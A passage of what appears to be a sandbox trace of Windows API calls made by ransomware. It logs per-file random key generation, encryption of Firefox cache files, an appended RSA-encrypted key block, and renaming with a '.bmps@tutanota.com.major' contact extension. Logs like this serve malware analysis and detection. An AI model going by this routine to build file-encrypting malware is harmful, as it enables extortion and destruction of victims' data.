pcchString=0x2e3f9a8 | out: pszString="ALmQCJzACgi+hmDRZf1/phwq/yp7NtO9eGfm8r3OKyfWMbsWbZh0nAjivHxHbX7y\nPwp9CKVVWnHeyF5XsH9NpWM29TXTpXF0Qpm97ahDnLtwrGofd5f+WFFfzV7tZqBX\nAFnftnyNMWPXb40vo1IgGkdgysBKGaxn+3W0WzEEMTsqn9hZcd8oMZXTbz5e/WI9\nkINeUMmQd4txtiP78SKQMyYtSYpKytnQ9yDxTC24wl6zqSs59E5a6sNeaHQdRDUc\n/ymkmpznT0j73eNBbv9SRrx1cCATYaws95tBJITzGRXNBAtDgNIc0kO79CV0KLrV\ny5hjHD9hCg5a2d0kqVkImQ==\n", pcchString=0x2e3f9a8) returned 1 [0286.300] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0286.300] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0286.300] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0286.300] CloseHandle (hObject=0x1b84) returned 1 [0286.300] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0286.300] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1EB2E405E2B5AFF18DBD87BBFB385EED242A1AB5" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1eb2e405e2b5aff18dbd87bbfb385eed242a1ab5"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1EB2E405E2B5AFF18DBD87BBFB385EED242A1AB5.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1eb2e405e2b5aff18dbd87bbfb385eed242a1ab5.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0286.303] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0286.303] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6708 | out: hHeap=0x570000) returned 1 [0286.303] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f82910 | out: hHeap=0x570000) returned 1 [0286.303] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f82c28 | out: hHeap=0x570000) returned 1 [0286.303] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2f83678 [0286.303] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee65a0 [0286.303] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0286.303] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1E4C1DE6D9BC3C738CB37D3D4E0CCCDBDD4EC3E7", dwFileAttributes=0x80) returned 1 [0286.303] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2f82c28 [0286.303] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0286.303] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f82c28 | out: hHeap=0x570000) returned 1 [0286.303] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1E4C1DE6D9BC3C738CB37D3D4E0CCCDBDD4EC3E7" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1e4c1de6d9bc3c738cb37d3d4e0cccdbdd4ec3e7"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0286.304] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=1593) returned 1 [0286.304] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x639) returned 0x66e948 [0286.304] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x639) returned 0x2f3e850 [0286.304] ReadFile (in: hFile=0x1b84, lpBuffer=0x66e948, nNumberOfBytesToRead=0x639, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e948*, lpNumberOfBytesRead=0x2e3f9b4*=0x639, lpOverlapped=0x0) returned 1 [0286.305] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-1593, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0286.305] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3e850*, nNumberOfBytesToWrite=0x639, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e850*, lpNumberOfBytesWritten=0x2e3f9b4*=0x639, lpOverlapped=0x0) returned 1 [0286.305] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66e948 | out: hHeap=0x570000) returned 1 [0286.305] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f3e850 | out: hHeap=0x570000) returned 1 [0286.305] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x639 [0286.305] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0286.305] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0286.306] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0286.306] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0286.306] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0286.306] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0286.306] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="nR5iXiZNEBPenmAynX2u0ZKB4JnDeHmT5UGlvBLt40CXBEjAwsTtjC7iRnoNCuLy\nuykklVvNfzeIPU00KgqTRmSuu0cS5JVcWZqfAJAcK0b182PpJkrinYyA2HNH9lRc\n/WFYQurcPO3BycmVbxsUnQjTG0cM4BOK3k9Vi+m9gYJpKME/qdsbMbC5kz+wdB6v\nZuLQamt3HM+GlCzYOEbGWITMKHPBIdlc6HdFx7U0cgbSdkc+JqP4htIzxzNvNNdS\nvCIGmgjGRobsdm/4Qg0i9f9p25ouUh6YaK6UnkDbxFsRdJG8+hY3529ks6OEBVUY\nMgJ/hMRvy+xASrM6hSu4IQ==\n", pcchString=0x2e3f9a8) returned 1 [0286.306] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0286.306] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0286.306] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0286.306] CloseHandle (hObject=0x1b84) returned 1 [0286.306] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0286.306] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1E4C1DE6D9BC3C738CB37D3D4E0CCCDBDD4EC3E7" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1e4c1de6d9bc3c738cb37d3d4e0cccdbdd4ec3e7"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1E4C1DE6D9BC3C738CB37D3D4E0CCCDBDD4EC3E7.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1e4c1de6d9bc3c738cb37d3d4e0cccdbdd4ec3e7.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0286.308] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0286.308] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee65a0 | out: hHeap=0x570000) returned 1 [0286.308] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f83678 | out: hHeap=0x570000) returned 1 [0286.308] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f82a18 | out: hHeap=0x570000) returned 1 [0286.308] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2f820d0 [0286.308] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6910 [0286.309] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0286.309] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1E2EF845DB3CBD8550BA9EEF20F8D52AF0FBA45B", dwFileAttributes=0x80) returned 1 [0286.309] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2f83678 [0286.309] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0286.309] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f83678 | out: hHeap=0x570000) returned 1 [0286.309] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1E2EF845DB3CBD8550BA9EEF20F8D52AF0FBA45B" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1e2ef845db3cbd8550ba9eef20f8d52af0fba45b"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0286.310] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4346) returned 1 [0286.310] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10fa) returned 0x2f39028 [0286.310] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10fa) returned 0x2f3a130 [0286.310] ReadFile (in: hFile=0x1b84, lpBuffer=0x2f39028, nNumberOfBytesToRead=0x10fa, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesRead=0x2e3f9b4*=0x10fa, lpOverlapped=0x0) returned 1 [0286.352] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-4346, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0286.352] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3a130*, nNumberOfBytesToWrite=0x10fa, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3a130*, lpNumberOfBytesWritten=0x2e3f9b4*=0x10fa, lpOverlapped=0x0) returned 1 [0286.353] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f39028 | out: hHeap=0x570000) returned 1 [0286.353] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f3a130 | out: hHeap=0x570000) returned 1 [0286.353] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x10fa [0286.353] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0286.353] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0286.353] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0286.353] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0286.354] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0286.354] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0286.354] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="5KS46RUfnVSobUAgdENMLAUnigQWafVhzl64rueZGOzSiKm/+43oQD5RLvGrbCV8\nF3A9H94mCq/NYnfEkQ2SaseBLVATrbyBzYbvF/3g0k6ZGdot1ztsMX53icW7AzCz\nWh31XQBBWZN4Ky+p6IFqbshm5zrFQO/S9CVoU/T3cJMvJo6PB2tkYpimiTODXhTk\nBAW38EJfjhzU8CApBxrN+3/Tgak7VsG3BaXGt+nB7ZILCTSQ9DsW2kn6ZiNCR/3d\n2Rzs09kNql6WcexifWWljJ/z1zEjihwFANJiLcaIFd/j21s57MMd9pu0tKEE2Rid\nd80HffKeQO2rjTg6SPImog==\n", pcchString=0x2e3f9a8) returned 1 [0286.354] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0286.354] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0286.354] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0286.354] CloseHandle (hObject=0x1b84) returned 1 [0286.354] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0286.354] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1E2EF845DB3CBD8550BA9EEF20F8D52AF0FBA45B" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1e2ef845db3cbd8550ba9eef20f8d52af0fba45b"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1E2EF845DB3CBD8550BA9EEF20F8D52AF0FBA45B.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1e2ef845db3cbd8550ba9eef20f8d52af0fba45b.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0286.357] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0286.357] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6910 | out: hHeap=0x570000) returned 1 [0286.357] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f820d0 | out: hHeap=0x570000) returned 1 [0286.357] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f81890 | out: hHeap=0x570000) returned 1 [0286.357] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2f83468 [0286.357] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6910 [0286.357] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0286.357] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1D9E8D935EB05D9AE4C4BA15B9B416626E711A1E", dwFileAttributes=0x80) returned 1 [0286.357] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2f81ba8 [0286.357] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0286.358] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f81ba8 | out: hHeap=0x570000) returned 1 [0286.358] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1D9E8D935EB05D9AE4C4BA15B9B416626E711A1E" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1d9e8d935eb05d9ae4c4ba15b9b416626e711a1e"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0286.358] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=1234) returned 1 [0286.358] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4d2) returned 0x66e948 [0286.358] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4d2) returned 0x2f3e850 [0286.359] ReadFile (in: hFile=0x1b84, lpBuffer=0x66e948, nNumberOfBytesToRead=0x4d2, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e948*, lpNumberOfBytesRead=0x2e3f9b4*=0x4d2, lpOverlapped=0x0) returned 1 [0286.402] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-1234, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0286.403] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3e850*, nNumberOfBytesToWrite=0x4d2, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e850*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4d2, lpOverlapped=0x0) returned 1 [0286.403] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66e948 | out: hHeap=0x570000) returned 1 [0286.403] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f3e850 | out: hHeap=0x570000) returned 1 [0286.403] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4d2 [0286.403] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0286.403] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0286.403] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0286.403] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0286.404] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0286.404] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0286.404] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="et8+dSjm+LGgm21M6+JyHL9HnTaE9WzBcAoJFKmCBM+GfbAnc/NuHnda4WgLIus6\nqwNMVm1q4H8ok0mAIdWRCTVCtrcqWuYrxMS90ef5mIi9tTmrjGjh2k9h8Wjm6oPI\nI/yzS+b5cCIpt6dYZlnAGkbD1DsB49xaUG06Vg0nF4GxmJI99y/yBxmrp680tPFB\nxB2XYDHj7zRH4cjvRZwZ2yD+txW4G1rgwl27SaA8MV4Vf/LsQrD0iTW4pV8lowwe\nvRBoihpW9D9Wb5H1NgPcK6/L56a8apIFoWWN08VU6+pSbg+b2bV4oUxAg1AaFqUj\nG0DJC46FB63hdBWNHy09eA==\n", pcchString=0x2e3f9a8) returned 1 [0286.404] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0286.404] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0286.404] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0286.404] CloseHandle (hObject=0x1b84) returned 1 [0286.404] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0286.404] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1D9E8D935EB05D9AE4C4BA15B9B416626E711A1E" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1d9e8d935eb05d9ae4c4ba15b9b416626e711a1e"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1D9E8D935EB05D9AE4C4BA15B9B416626E711A1E.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1d9e8d935eb05d9ae4c4ba15b9b416626e711a1e.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0286.407] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0286.407] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6910 | out: hHeap=0x570000) returned 1 [0286.407] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f83468 | out: hHeap=0x570000) returned 1 [0286.407] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f83150 | out: hHeap=0x570000) returned 1 [0286.407] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2f83678 [0286.407] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6690 [0286.407] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0286.407] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1D79D261DA6DA4377C082C90DF4E5EE4FFEB51BC", dwFileAttributes=0x80) returned 1 [0286.408] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2f823e8 [0286.408] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0286.408] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f823e8 | out: hHeap=0x570000) returned 1 [0286.408] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1D79D261DA6DA4377C082C90DF4E5EE4FFEB51BC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1d79d261da6da4377c082c90df4e5ee4ffeb51bc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0286.409] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=6717) returned 1 [0286.409] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1a3d) returned 0x2f39028 [0286.409] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1a3d) returned 0x2f3aa70 [0286.409] ReadFile (in: hFile=0x1b84, lpBuffer=0x2f39028, nNumberOfBytesToRead=0x1a3d, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesRead=0x2e3f9b4*=0x1a3d, lpOverlapped=0x0) returned 1 [0286.528] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-6717, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0286.528] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3aa70*, nNumberOfBytesToWrite=0x1a3d, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3aa70*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1a3d, lpOverlapped=0x0) returned 1 [0286.529] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f39028 | out: hHeap=0x570000) returned 1 [0286.529] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f3aa70 | out: hHeap=0x570000) returned 1 [0286.529] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1a3d [0286.529] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0286.529] WriteFile (in: 